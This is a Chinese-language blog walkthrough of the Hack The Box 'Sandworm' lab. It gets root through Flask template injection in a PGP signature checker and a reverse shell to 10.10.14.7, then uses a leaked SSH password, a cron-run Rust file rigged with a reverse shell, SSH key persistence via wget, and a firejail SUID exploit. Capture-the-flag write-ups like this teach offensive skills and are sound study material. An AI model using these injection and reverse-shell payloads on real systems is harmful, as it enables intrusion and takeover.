HTB-Sandworm


HTB-Sandworm

一、思路概要

1.端口扫描发现域名,目录扫描发现PGP签名验证功能;

2.签名验证功能存在Flask模板注入;

3.Flask模板注入反弹shell获取atlas用户web权限;

4.配置文件信息泄露获取ssh账户silentobserver

5.登录ssh账户,运行pspy64和linpeas发现计划任务和SUID文件;

6.Rust计划任务提权获取atlasjailer组的shell权限;

7.firejail的SUID提权获取root权限。

二、信息收集

nmap扫描端口服务

发现域名,写入本地hosts文件

echo "10.10.11.218 ssa.htb" >> /etc/hosts

浏览器访问,没什么有价值的东西

扫描目录

gobuster dir -u https://ssa.htb/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x .php,.html -t 50 -k

有几个非常规目录

/admin如下图

/guide如下图

有通过PGP公钥验证签名的功能,如下图

页面底部还有一段被签名的消息,如下图

/pgp如下图,是PGP公钥

那么可以把此处的公钥和/guide页面底部被签名的消息,填入到/guide页面验证签名功能对应的文本框中,点击验证签名后,弹出如下内容

/guide页面底部的提示说明一致,说明签名验证成功,消息的机密性、可用性、完整性被保证

/guide页面的版权标志处看出用的python Flask框架,此框架主要漏洞就是SSTI(Server Side Template Injection),此处PGP签名功能有交互,可以在此处用这个功能做测试

三、Flask SSTI(服务端模板注入)

那么在本地kali上,用gpg生成公私钥对

gpg --gen-key	#生成密钥对
Real name: {{100*100}}	#测试模板注入,如果被执行,会显示10000
Email address: <any_mail>(邮箱随意,此处采用在/guide页面底部发现的atlas@ssa.htb)

gpg --list-keys	#列出所有公私钥对

将指定电子邮件地址(此处是atlas@ssa.htb)的公钥导出为文本格式,并将它保存到public_key.asc文件中

gpg --armor --export atlas@ssa.htb > public_key.asc

--armor: 这个选项指示 GnuPG 导出的密钥应该以文本格式(ASCII armored)导出,而不是二进制格式。ASCII armored 密钥更易于共享和传输,通常用于通过电子邮件或文本文件分享公钥。

创建一个名为message.txt的文本文件,其中包含消息test。使用 GnuPG 对message.txt文件中的消息test进行数字签名,并将带有数字签名的消息保存为 signed_message.asc。这个签名可以用于验证消息的完整性和来源,确保它没有被篡改,并由私钥持有者签名。

echo "test" > message.txt
gpg --clear-sign --output signed_message.asc message.txt

--clear-sign: 这个选项告诉 GnuPG 对消息执行clear sign,这意味着数字签名将被添加到消息的末尾,并且消息内容本身保持可读性。

查看公钥public_key.asc和被签名的消息 signed_message.asc

分别填入到/guide页面对应的文本框里,验证签名

发现弹出如下内容,其中包含有执行模板注入表达式的结果10000

确认存在模板注入,就可以尝试执行命令。先删除之前生成的密钥对

gpg --delete-secret-keys atlas@ssa.htb
gpg --delete-keys atlas@ssa.htb

重新生成密钥对,在Real name填入如下内容

{{self.__init__.__globals__.__builtins__.__import__('os').popen('id').read()}}

然后按照之前的思路导出公钥和被签名的消息,重新验证,弹窗如下,命令id被成功执行

反弹shell如下

{{self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "bash -i >& /dev/tcp/10.10.14.7/9898 0>&1"').read()}}

生成密钥提示Real name不能有尖括号,那就把base64编码payload,如下

{{self.__init__.__globals__.__builtins__.__import__('os').popen('echo "YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC43Lzk4OTggMD4mMSI=" | base64 -d | bash').read()}}

然后按照之前的思路验证签名,开启监听,成功获取到atlas用户的shell权限

在home目录看到还有一个用户silentboserver

在如下文件找到用户silentboserver的口令

/home/atlas/.config/httpie/sessions/localhost_5000

username: silentobserver
password: quietLiketheWind22

ssh连接

ssh silentobserver@10.10.11.218

四、Rust计划任务提权

上传运行pspy64,可看到有计划任务会以atlas用户身份执行/opt/tipnet目录下的文件

上传linpeas,添加可执行权限,运行,发现如下文件存在SUID

firejail可以suid提权,利用脚本:https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25

但是firejail文件的属组是jailer,linpeas结果可以看到atlas用户的属组是jailer,但是此时我们连接的是silentobserver用户的ssh账户

之前有个反弹得到的atlas用户的shell权限

用反弹shell的命令行窗口从本地kali获取脚本,提示命令未找到,那可能这个shell是web权限,比较低。有计划任务会以atlas用户身份执行/opt/tipnet目录,那么就可以尝试通过此计划任务来反弹一个shell

此时看另一个可疑的suid文件,在它的同级目录下发现如下内容

对于silentobserver用户,只有/opt/crates/logger/src/lib.rs有可写权限

参考:https://doc.rust-lang.org/std/process/struct.Command.html

/opt/crates/logger/src/lib.rs添加如下Rust代码,尝试反弹shell

use std::process::Command;

    let output = Command::new("bash")
        .arg("-c")
        .arg("bash -i >& /dev/tcp/10.10.14.7/9898 0>&1")
        .output()
        .expect("failed to execute process");

开启监听,稍等片刻,成功反弹获得atlas用户jailer组的shell权限

ssh公钥伪造实现权限维持

由于每次执行完此定时任务后,/opt/crates/logger/src/lib.rs会自动恢复成原来的样子。这样如果shell断了,想要重连,又要重新修改文件并等待反弹。另外在此处发现atlashome目录下有.ssh目录,那么就可以尝试ssh公钥伪造登录。

本地kali生成rsa公钥和私钥,分别默认保存在/root/.ssh/id_rsa.pub/root/.ssh/id_rsa

ssh-keygen -t rsa	#两次默认回车即可

开启http服务,把公钥id_rsa.pub传输到目标靶机/home/atlas/.ssh目录下,并重命名为authorized_keys

wget http://10.10.14.7/id_rsa.pub -O authorized_keys

然后本地执行如下命令登录ssh

ssh -i id_rsa atlas@10.10.11.218

五、firejail SUID提权

上传firejail的利用脚本并执行

重开一个ssh窗口,执行如下命令

firejail --join=<number>
su -

成功获取root权限

Over!


文章作者: wa0er
版权声明: 本博客所有文章除特別声明外,均采用 CC BY-NC 4.0 许可协议。转载请注明来源 wa0er !
评论
  目录